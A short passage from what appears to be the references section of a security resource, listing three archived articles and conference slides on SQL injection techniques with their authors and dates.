    604 * [SQLi in INSERT worse than SELECT - Mathias Karlsson - February 14, 2017](https://web.archive.org/web/20231004093323/https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/)
    605 * [SQLi Optimization and Obfuscation Techniques - Roberto Salgado - July 31, 2013](https://web.archive.org/web/20221005232819/https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf)
    606 * [The SQL Injection Knowledge base - Roberto Salgado - May 29, 2013](https://web.archive.org/web/20260302110304/https://www.websec.ca/kb/sql_injection)